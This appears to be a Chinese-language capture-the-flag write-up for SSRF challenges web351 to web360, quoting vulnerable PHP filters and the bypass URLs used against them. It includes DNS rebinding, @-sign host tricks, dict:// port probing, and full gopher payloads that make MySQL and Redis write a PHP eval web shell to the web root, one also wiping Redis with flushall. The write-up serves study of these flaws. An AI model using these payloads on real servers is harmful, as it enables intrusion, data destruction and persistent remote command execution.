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CTFHUB SSRF

news 2025/7/7 5:40:26

web351

编辑 web352

web353

web354 sudo.cc 代表 127

web355 host长度

web356

web357 DNS 重定向

web358 @bypass

web359 mysql ssrf

web360

web351

POST查看 flag.php即可

web352

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}

我们看看过滤了 localhost 和 127.0.0.1

并且需要存在 http

所以我们传入payload

url=http://0177.0.0.1/flag.php

这里是八进制的 127

web353

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}

过滤了 127.0.0.1

我们可以通过 0 来绕过

payload

url=http://0/flag.php

web354 sudo.cc 代表 127

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}

0 1 127 都被过滤了

这里确实学到了

http://sudo.cc 指向的就是 127.0.0.1

我们直接使用这个payload

http://sudo.cc/flag.php

web355 host长度

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}

没有过滤但是 host需要为小于5

payload

url=http://0/flag.php

看wp还存在一个解法

http://127.1/flag.php

web356

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}
?> hacker

长度小于3

这里只能使用

http://0/flag.php

web357 DNS 重定向

我们这里首先会判断是不是私有ip

这样我们之前的数字ip bypass就是失效了

这里我们可以使用DNS 重定向 bypass

rbndr.us dns rebinding service

这里设置一个不是私有的ip

url=http://7f000001.774bd96d.rbndr.us/flag.php

web358 @bypass

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){echo file_get_contents($url);
}

这里需要出现这内容才会输出

我们来看看

我们通过 @ 来绕过

http://ctf.@127.0.0.1/flag.php?show

这里 @ 后还是解析为 127.0.0.1 并且结尾是 show

web359 mysql ssrf

首先开局一个登录

我们看看源代码

发现有一个 hidden 元素这里是被隐藏了并且值已经设定为 url 了这里要敏感了因为 SSRF 就是引用其他url

我们随便写一个抓包看看

发现 POST内容中传递了 returl值

我们修改为百度看看

确实存在 ssrf

没有找到 flag.php

我们因为通过登入我们可以想到数据库那我们直接通过 gopher 攻击mysql即可

我们使用工具

py2 .\gopherus.py --exploit mysql

将 payload 再进行一次 url编码

gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254f%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2540%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2527%2563%256d%2564%2527%255d%2529%253b%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2573%2568%2565%256c%256c%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501

然后进行传递

然后通过蚁剑链接即可

web360

找不到 flag.php

我们开始通过 dict 探测端口

url=dict://127.0.0.1:80

发现开放了 6379端口这里是 redis的端口这里很明显就是让我们攻击了

我们一样去工具实现攻击

gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252431%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2540%2524_POST%255Bcmd%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

总的来说 show的ssrf 还挺简单的这里学到了 sudo.cc的内容

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